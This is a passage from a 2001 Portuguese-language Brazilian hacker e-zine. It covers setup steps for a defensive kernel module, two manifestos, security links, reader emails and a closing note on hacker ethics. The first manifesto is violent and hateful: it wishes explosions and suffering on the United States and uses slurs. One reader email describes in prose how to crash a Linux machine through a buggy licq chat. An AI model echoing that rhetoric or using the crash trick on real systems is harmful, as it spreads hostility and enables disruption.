Um maneira eh voce copiar o modulo klao.o para o /root e depois colocar a
linha "insmod klao.o" (sem aspas) no finalzinho do arkivo /etc/rc.d/rc.local

# cp /path/klao.o ~
# cd ~
# echo "insmod /root/klao.o" >> /etc/rc.d/rc.local

onde:
*path -> eh o lugar onde a ferramenta K-LAO se encontra!!!


#################
2.3 - Observacoes
#################

Quando voce for executar ferramentas como: make, libtool, gcc,
configure, centericq, entre outras, recomenda-se roda-las quando o
K-LAO estiver descarregado.. pois como eu ja disse em algumas
linhas acima, eles geram falsos positivos e assim o K-LAO 
detecta isso como sendo um ataque de Buffer Overflow! Mais
informacoes voce pode encontrar no arkivo Readme na secao 2.1
(o arkivo README vem anexado junto ao Klao).


###############
3 - Referencias
###############

As referencias que eu fiz foi do site da Kimera e do arquivo README
que acompanha o K-LAO!

* Eh extremamente recomendado que voce leia o arquivo README!!!


##############
4 - Terminando
##############

Chegamos ao EOF, espero que voce tenha entendido tudo o que foi
escrito aqui e recomendo voce usar essa ferramenta em seu sistema.
Lembre-se, isso nao eh o suficiente para deixar sua makina
livre de ataques! 

Fim.
                                                   Gotoxy
                                                   gotoxy@linuxbr.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [18]
==[ Manifestos ]==
==[ por azSo   ]==

-----------
MANIFESTO 1
----------- 

	Manifesto...Indignacao, viva JAPAO :)

 O que diriamos da atitude dos EUA em acabar com tantas vidas em um Pas
tao organizado e produtivo como o Japao?
 Estah tarde para falar nisso? Eu digo que no. Durante todo esse tempo soh
pensamos em julgar a Alemanh e o nazismo, por que tentamos julgar tal coisa
se acabamos com a guerra com vidas e mais vidas jogadas no LIXO!
 EUA, essa eh a ferida que nunca se cicatrizou na humanidade, a nacao "superior"
que nao pensa em nada a nao ser o poder! Dominio, isso eh o que os Eua quer ter 
quanto a outros paizes! Devemos acordar e ver que a humanidade estah reduzida a 
isso, ao mando e desmando do pas norte-americano o que eh inaceitavel.

 Criancas mortas, homens honestos mortos, a papulacao destruida...este era o 
aspecto do Japao ao final da 2 guerra mundial. O maior rival dos EUA, o pas 
que coloca aqueles americanos nojentos no chao, que os deixa de quatro e 
pensando como os JAPONESES creceram tanto.

 SEUS BURROS! Vcs devem pagar pelo que fizeram e sua nacao deve sofrer, sofrer 
muito. Sentir a explosao em seu territorio e seus corpos espedaados em todas 
as partes, suas casas destruidas e seu pas sem vida, para verem o que eh o 
inferno! Vcs tentam fazer o inferno, vc tentam amedrontar os outros pases...
soh conseguem quando encontram fracos que se rendem ah esse poder maligno e
anti-humano que exercem. Dentre varios que se rendem existe os que naum se 
curvam a vcs...esses somos nos, os que nao tem medo de mostrar o que pensam 
por se preocupar em ser preso. VCS NAO SAO A JUSTICA! SAO A INJUSTICA!!!!!
Ditam as leis, ditam as regras vizando uma melhor vida no planeta! Assim?
recusando diminuira poluicao na camada de ozonio? (o unico pas a recusar)
Senhores me expliquem algo estah errado, a humanidade estah abandonada aos 
seres sem sentimento e sem senso de etica e justica ESSES SAO VCS!

 Hj...hahaha...o Japao deixa vcs de quatro na area de tecnologia, sabe pq? Pq 
vcs sao uns burros, fdp que soh querem saber de encher o bolso de dinheiro com 
o conhecimento de outros, tudo um bando de viados, vcs deviam voltar a usar 
fraldas e chupar dedo, pra aprenderem novamente o sentido do que eh ser, ser 
humano, isso eh o que falta a vcs SEUS MERDAS!

 A conscientizao eh de cada um e sabe o que eu digo a vcs?

"A MUITO TEMPO NO MUNDO PRIMITIVO, OS HOMENS CAAVAM COMO ANIMAIS "IRRACIONAIS" 
COM O OBJETIVO DE SOBREVIVENCIA E RESPEITANDO A NATUREZA. HJ MUITAS PESSOAS 
ACHAM QUE DEVIAMOS NUNCA TER SAIDO DO MUNDO PRIMITIVO, POIS NAUM TERIAMOS FEITO 
O MUNDO SOFRER TANTO...
 PESSOAS INFELIZES...EH ISSO QUE TEMOS, PRA QUE FAZER BOMBA ATOMICA SEUS 
VIADOS? PRA DESTRUIR O MUNDO? QUER SABER ACHO QUE VCS A NAUM SAUM NEM 
PRIMITIVOS, POIS NEM OS PRIMITIVOS SERIAM TAO BURROS DE ESTRAGAR SEU PROPRIO 
HABITAT. 
 SE CONTINUAREM AH TRATAR O NOVO PLANETA ASSIM, EH MELHOR QUE SE FODAM E DEIXEM 
DE SER VIADOS E VAUM TOMAR NO CU, POIR ALEM DO JAPAO TB ESTAMOS CHEGANDO AE EM 
VCS SEUS FDP."



  		         "VAI SE FUDER ESTADOS UNIDOS DA AMERICA"
              Milhares de mortos por um capricho e obcessao por poder...

bRaSil 2001 -  azSo 

-----------
MANIFESTO 2 
-----------

 A descoberta das informacoes que nunca achamos estar ao nosso alcance, hj 
estao e nao eh molesa conseguir o que eh conseguido. Na vida de um Newbie 
fussador nada eh facil, mas tudo eh feito com grande gosto e sempre em 
busca do verdadeiro objetivo.
 Vc`s que "pixam" pages e se acham os tais, me digam o que realmente sabem 
e se souberem nada falarei, mas se vier dar uma de phoda e apenas me 
disser que faz "gcc expl.c -o expl" - "./expl" VAI SE PHODER. Se se acham 
tao bons assim comecem a raciocinar, comecem a ver se sao mesmo ou apenas 
querem fama. Fama eh uma coisa que vem e vai e se vcs se acham os tais 
agora, logo logo verao que sao menos que um grao de areia em uma imensa 
praia. NAO SAO NADA.
 Aos Newbies eu digo, nao se deixem desanimar pela midia que vive 
colocando esses script kiddies em cima e sujando o nome dos verdadeiros 
fussadores, pois se luta elo que gosta vc teras resultado e isso serah um 
fato em sua vida e nao um sonho longe de ser realizado que eh como esses 
kiddies vivem. Veem filmes e entram na inet falando que sabem tal coisa do 
filme e vivem em uma fantasia irreal.
 Vamos abrir os alhos amigos, essa zine eh uma ajuda ou melhor uma pequena 
ajuda isso nao basta! Se tem voltade de seguir a sua vida da maneira que 
acha correta, lute. Nunca diga o que nao eh! Pois quando cair "do cavalo" 
serah dificil levantar...

ateh mais

                                                     azSo
                                                     azsobr@yahoo.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [19]
==[ Url de Sites ]==
==[ por Gotoxy   ]==


Ae... aki eu vou colocar alguns sites... alguns porque nas edicoes
anteriores do zinesbr nos ja colocamos um tanto de sites... nem to
me recordando de outros.. vou colocar alguns aki q eu acho q deve
ser visitado.. portanto, aprecie-os .....


* www.kimera.com.br [portugues]

  site de seguranca que possui muitos textos (sobre etica, tecnicas 
  fucadoras: backkdors, spoofing, formatbugs, race condition, entre
  outros.. tem varios textos tb sobre seguranca, tais como ferramentas
  ids, textos sobre anti-vires, anti-sniffers, entre outros)... 


* www.olinux.com.br [portugues]

  site muito bom que alem de falar muita coisa relacionada ao linux,
  possui textos sobre programacao (C, Sockets, Shellscript, varios
  tutorias de configuracao, ...)


* www.jonathas.com.br [portugues]

  site do dimitri, la voce encontra textos de autoria dele (
  texto sobre sockets, shellscript, entre outros...)


* http://segfault.yi.org/stuff/textos [ingles/portugues]
 
  site onde voce pode obter uma porrada de textos (programacao, 
  linux, enfim, muito material tecnico)
  ps: esse site funciona ate as 6 da tarde 


* http://www.sirkussystem.com/sirkus/virus.html [ingles]

  site que aborda assuntos sobre virus em asm, e ainda possui
  textos, entre outras coisas.


* http://ftpsearch.ntnu.no [ingles]
 
  site onde voce pode buscar por arquivos binarios 


* http://freshmeat.net [ingles] 
* http://www.sourceforge.net [ingles]

  sites onde voce pode buscar por programas open source(codigo aberto)


* http://www.pkcrew.org [ingles]

  site do Packet Knight.. la voce encontra varios textos e varios
  programas..


* http://www.securityflaw.com/bible [ingles]

  site onde voce encontra muito material tecnico, entre outros... se
  voce procura por informacao, saiba que aki eh o lugar certo!


* http://www.bufferoverflow.org [portugues]

  site onde voce encontra novidades (como lancamentos de novas versoes
  do kernel, novas vulnerabilidades.....), etc..


* http://www.programmersheaven.com [ingles]
 
  site recomendado para programadores


* http://phrack.org [ingles]

  site do zine Phrack! recomendado para todos os fucadores e analistas
  de sistema/seguranca...


* http://user-mode-linux.sourceforge.net [ingles]

  site de mini distribuicoes linux.. tem varios distribuicoes: slack,
  debian, etc... eh tudo virtual.. muito legal...

                                                   Gotoxy
                                                   gotoxy@linuxbr.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [20]
==[ Emails da Galera ]==
==[ por ZiNESbr      ]==
            ______________________________________
            |\\                                //| 
            |  \\                            //  |
            |    \\         Emails         //    |
            |      \\                    //      |
            |        \\      ____      //        |
            |          \\___|____|___//          |
            | De: Voce      |____|               |
            | Para: ZinesBR                      |
            | Endereco: zinesbr@ieg.com.br       |  
            |____________________________________|

.----------------------------------------------------------------.
|  Formulrio enviado em: 16:50:52, 23/09/01                     |
|  nome - perl                                                   |
|  e-mail - xxx@xx.xxx                                           |
|  ttulo - ץmodem motorola׬                               |
`----------------------------------------------------------------'

=========
Mensagem:
=========

ae galera da ZINESBR sempre acompanho as edicoes da zine e taus 
e keria dizer a vcz q essa ultima detonou......
 
mas vamu ao assunto: seguinte tow cum probleminha p/ instalar meu
modem no linux......meu linux eh conectiva 7.0 e meu modem eh o 
'genius motorola SM56 PCI modem' q naum eh on-board.... minha 
makina eh um k6-500......                 kara tou piranduu cum 
isso!!!!!!!! se vc's souberem informacoes sobre a configuracao 
desse tipo de modem ..... isso eh sii for possivel configurar.....

floWs............. by perl_


=========
Resposta:
=========

fala perl..
 seu modem eh PCI! Ou seja, um winmodem!! Voce precisa achar o
driver dele!! caso nao acha, nada feito! :/

ou entao compre um outro modem.. compre um ISA! Procure no
jornal balcao, eh baratinho!!:) 

bem.. quando eu tava respondendo seu email, eu tava la no #zinesbr
e... veja:

<gotOFF> ae tipo
<gotOFF> me falem uns sites
<gotOFF> onde eu acho drivers
<gotOFF> de winmodens
<|Wolf-Off|> www.clubedohardware.com
<easic> http://www.medres.ch/~jstifter/linux/pctel.html
<gotOFF> easic pctel?
<easic> eh.. tb tem uns links la pra outras paginas

eles me dissram esses sites aih.. o easic falou um pra modens
pctel.. mas eu nem entrei nesses sites.. veja se tu acha algo
sobre seu modem la..

tem tb o site http://www.linmodems.org... veja la se voce
encontra algo!!

t+

(Gotoxy)

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.----------------------------------------------------------------.
|  Formulrio enviado em: 13:50:39, 16/09/01                     |
|  nome - troy_psx                                               |
|  e-mail - xxx@xx.xxx                                           |
|  ttulo - Ae..                                                 |
`----------------------------------------------------------------'

=========
Mensagem:
=========

Queria ajudar ae.. se for possivel..
Participava dos Zines da TDK.. e queria voltar a escrever, se 
quiser s falar.. trocas ideia. =;-)


=========
Resposta:
=========

Eae!!!
A gente ja conversou mesmo ne.. nem sera necessario responder 
seu email!:)

mais uma vez, valeu!
[]s

(Gotoxy)

---------- ## ---------- ## ---------- ## ---------- ## ----------

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|  Formulrio enviado em: 01:46:20, 14/09/01                     |
|  nome - cytron                                                 |
|  e-mail - xxx@xx.xxx                                           |
|  ttulo - Win derruba o CL 6 sem pestanejar (usando s o ICQ)  |
`----------------------------------------------------------------'

=========
Mensagem:
=========

No sei se vcs sabem dessa, pelo menos no v esse relato em 
canto nenhum. A coisa  bem simples e muito eficiente:
O licq tem um baita bug no modo chat.  quando no tem placa de 
som instalada. se o windows lammer envia um som que gera a msg 
"LOL :-)", o chat do licq d um erro dizendo que no foi possvel
executar tal comando (ou coisa parecida). S que o maldito windows 
consegue enviar o sinal bem mais rpido do que o licq consegue 
acusar e vc ainda tem que clickar em OK. O resultado  simples de 
se imaginar... Vo surgindo tanta janela que o micro fica to lento 
que a tela some e na maioria das vezes trava total. A coisa  feia
e tenebrosa!
                  to rpido que assusta qualquer um.
cytron


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Resposta:
=========

pois eh ehehehe...=]
    valeu!!!

int

(Kbytes)

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.----------------------------------------------------------------.
|  Formulrio enviado em: 13:56:05, 02/10/01                     |
|  nome - emer                                                   |
|  e-mail - xxx@xx.xxx                                           |
|  ttulo - linux                                                |
`----------------------------------------------------------------'


=========
Mensagem:
=========

POR FAVOR GOSTARIA DE SABER SE VOCS PODEM ME ENVIAR
ALGUMA MATERIA SOBRE INTRODUO AO SISTEMA OPERACIONAL LINUX, 
DESDE J AGRADEO.


=========
Resposta:
=========

NA EDICAO 00 DO ZINESBR TEM UMA MATERIA MUITO BOA QUE D UMA BELA
INTRODUCAO AO SO LINUX.

ATE MAIS

(Kbytes)
---------- ## ---------- ## ---------- ## ---------- ## ----------

.----------------------------------------------------------------.
|  Formulrio enviado em: 18:03:34, 10/09/01                     |
|  nome - gabriel                                                |
|  e-mail - xxx@xx.xxx                                           |
|  ttulo - editorial                                            |
`----------------------------------------------------------------'

=========
Mensagem:
=========

ola, gostaria de saber se a zine  mensal ou bimestral. 
grato desde jah.

=========
Resposta:
=========

Ae !! A zine eh lancada quando fica pronta, sendo assim, nao tem
data de previsao =)
t+

(Gotoxy)
---------- ## ---------- ## ---------- ## ---------- ## ----------

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|  Formulrio enviado em: 16:07:32, 09/09/01                     |
|  nome - Thiagonauta                                            |
|  e-mail - xxx@xx.xxx                                           |
|  ttulo - Keylog, keytrap e keycopy?                           |
`----------------------------------------------------------------'

=========
Mensagem:
=========

Eu fiz um down do keylog, keycopy e keytrap mas nao sei uzar 
nenhum deles. Da pra vcs falarem um pouco sobre esses TRS progs,
como uzar e etc... mas fale sobre todos os tres viu :)
E se poder cite outros progs do mesmo tipo (pra WINDOWS 98).

Obrigado, estou aguardando na ZINE 09.
Ou me envie por e-mail!!!!!!

Tchau!!!!!!
Obrigado.  THIAGONAUTA

=========
Resposta:
=========

Consulte os Readmes que deve vir anexado junto a esses programas..
eu nunca usei eles.. fuce e abuse!

(Kbytes)
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|  Formulrio enviado em: 22:37:50, 08/09/01                     |
|  nome - | The  ZENIENSS |                                   |
|  e-mail - xxx@xx.xxx                                           |
|  ttulo - ZUH                                                  |
`----------------------------------------------------------------'

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Mensagem:
=========

E ai pesoal beleza?
Bom eu resolvi escrever a vcs pelo seguinte vcs ja devem ter 
ouvido falar da ZUH....nos somos um grupo que descutimos bug e 
novas vulnerabilidades... pode ver a gente  um grupo que existe 
a uns 3 anos e a gente tb defende a etica hacker... em todo esse 
ano nunca hackiamos sites bara ficarmos nos gabando...temos uma 
etica... e a gente discuti muito os zines que sao de muita 
informacao...e a gente queria ver se a gente pode publicar em 
nosso site.. a gente queria com isso levar informacao os muitos
internaltas que nos visitam.... queria ver se isso  possivel...
a gente nao sai copiando coisa na internet a gente pede 
autorizacao aos criadores...por isso estamos perguntando se 
podemos colocar em nosso site...mande um e-mail a nos.. 
Obrigado


=========
Resposta:
=========

Eae mano!! Podem sim publicar o Zinesbr em seu site.. isso at
contribui bastante com a liberdade de informacao.. o site ainda
eh o http://zenienss.cjb.net ?? caso nao, por favor, avise!:)

Viva a Etica!

[]s

(Gotoxy)
---------- ## ---------- ## ---------- ## ---------- ## ----------

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|  Formulrio enviado em: 15:55:51, 08/09/01                     |
|  nome - Lucas                                                  |
|  e-mail - xxx@xx.xxx                                           |
|  ttulo - zines 08                                             |
`----------------------------------------------------------------'    

=========
Mensagem:
=========

essa nova zines saiu esquizita,  est bem formatada ser que vcs 
poderiam formatala e deixalar bem mais legivel e clara  uma
letra atraz da outra cara

Valeu a ateno falou manus

=========
Resposta:
=========

ae
voce tava lendo em qual editor? eu tava olhando aki e parecia
tudo normal.. 

at

(Kbytes)
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.----------------------------------------------------------------.
|  Formulrio enviado em: 15:55:51, 08/09/01                     |
|  nome - b0mb3r                                                 |
|  e-mail - xxx@xx.xxx                                           |
|  ttulo - Aew irmos..                                         |
`----------------------------------------------------------------'    

=========
Mensagem:
=========

Ae Gotoxy, a zine tah de parabns! ta ruliz... =)
Fique sabendo q larguei a poca de kiddie... no fao mais defaces 
graas a sua zine que me deu cada vez mais vontade de aprender!! =)
Estou fazendo um curso de UNIX... soh que a apostila eu ja li 
umas 3 vezes :)... preciso de mais documentao sobre unix, linux, 
c etc... Se voc poder me ajudar.......!!! Vou tentar seguir a 
tica man! Um abrao pra toda galera da zine...

=========
Resposta:
=========

Eae b0mb3r.. valeu =)
se voce largou da kidisse, saiba que voce encontrou um novo amigo!:)
unix, linux, programacao, entre outras coisas, voce pode encontrar
muita informacao sobre isso na net.. abaixo voce te passar uns
lugares onde voce encontra informacao:

unsecurity.org -> um bom site com varios txts, etc..
unsekurity.virtualave.net -> site da unsek.. talvez vc ja conheca...
                             la tem varios textos...
jonathas.com.br -> site do dimitri.. possui textos bons tb..
www.txt.org -> vc la encontra muitos textos, zines...
www.olinux.com.br -> programacao, linux, etc.. visite-o!!

enfim, consulte a secao LINKS para voce obter mais sites onde vc
encontra muita informacao!!

bem  isso..
t+
[]s

(Gotoxy)
---------- ## ---------- ## ---------- ## ---------- ## ----------

.----------------------------------------------------------------.
|  Formulrio enviado em: 14:02:04, 03/10/01                     |
|  nome - warez                                                  |
|  e-mail - xxx@xx.xxx                                           |
|  ttulo - Artigos                                              |
`----------------------------------------------------------------'

=========
Mensagem:
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Tava a fim de enviar alguns artigos relacionados a programaao 
java ou tpicos avanados de programaao C, como ponteiros de
funao e algoritmos de pilhas, filas, arvores, estas coisas.

Se interessar

meu mail
warezkernel@zipmail.com.br

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Resposta:
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 Envie mesmo mano.. voce vai estar nos ajudando muito (nao apenas
nos, e sim a todos os leitores...)
 Muito obrigado e aguardamos seus textos...

[]'s

(Gotoxy)
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|  Formulrio enviado em: 09:50:49, 11/10/01                     |
|  nome - drack                                                  |
|  e-mail - xxx@xx.xxx                                           |
|  ttulo - PHP-NUKE                                             |
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Mensagem:
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IAe, seis podiam fazer uma materia falando do PHP-NUke,
como hackear por ele, como ele funciona etc.The Mais

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Resposta:
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iaE, para a edicao 10 nao vai dar.. talvez para a edicao 11 vc
encontra um texto sobre isso! 

at

(Kbytes)
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|  Formulrio enviado em: 10:44:22, 11/10/01                     |
|  nome - |wizard|                                               |
|  e-mail - xxx@xx.xxx                                           |
|  ttulo - falaeeeeeeeeeeeeeeeee                                |
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Mensagem:
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eae, blza???
dei uma sumidinha..mas to voltando...
vou comecar a escrever meus zines...
int!


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Resposta:
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eae kra.. quanto tempo hein.. c sumiu mesmo.. mas o q importa
q vc voltou ne!! =) volta mesmo e v se da para tu aparecer la
no #zinesbr pra gente troca umas ideia...

t+
[]s

(Gotoxy)
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|  Formulrio enviado em: 11:44:52, 08/10/01                     |
|  nome - -=^*[BgFl]*^=-                                     |
|  e-mail - xxx@xx.xxx                                           |
|  ttulo - Super D+                                             |
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Mensagem:
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Ol Pessoal da Zinesbr, Gosteiu muito dos zines e daqui
a alguns dias enviarei alguns tutz feitos por mim. Estou aki soh pra
elogiah, pois estah d+, jah estou esperando a nova zine sair. ok

  Tow indow....

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Resposta:
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Eae bugfly!!
    blz.. quanto mais tutz melhor!!:)
valeu pelos elogios... 

t+
[]s

(Gotoxy)

                                                      ZiNESbr
                                                      zinesbr@ieg.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [21]
==[ Ultimas palavras ]==
==[ por Gotoxy       ]==

  Bem a Edicao 10 vai terminando por aqui.. espero que tenham gostado
mais uma vez!:) Daki uns tempos vai chegar a 11, e ela esta sem
previsao de quando vai sair... depende do meu tempo e da coolaboracao
dos leitores em ajudar enviando textos. Mais uma vez agradeco ao
Sort e ao |Wolf| por me ajudarem a descansarem durante alguns dias..
mas nesses alguns dias ja foram o bastante para eu sair da depressao!:p
(brincadeira.. tava era extressado mesmo, alem de muuuuuito ocupado). 
  A etica.. palavra contendo apenas 5 letras, porem muito importantes..
Entenda a etica e depois faca a sua propria ideologia.. siga a sua kbca
e nao a de outras.. eh assim que funciona... ser um hacker nao ker dizer
apenas ter conhecimento na parte tecnica, mas como tambem na parte etica..
como eu ja disse, nao existe hacker sem etica.. 
  Daki uns dias (talvez meses) eu lanco a edicao 11.. a ajuda eh
sempre bem vinda.. portanto, ajude-nos! =)

Gotoxy.


   Ate a proxima Edicao!
________________________________________________________________________
------------------------------------ZiNESbr-----------------------------

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zinesbr:~# halt 
Power down.

   Vida Longa ao Hacking Etico!

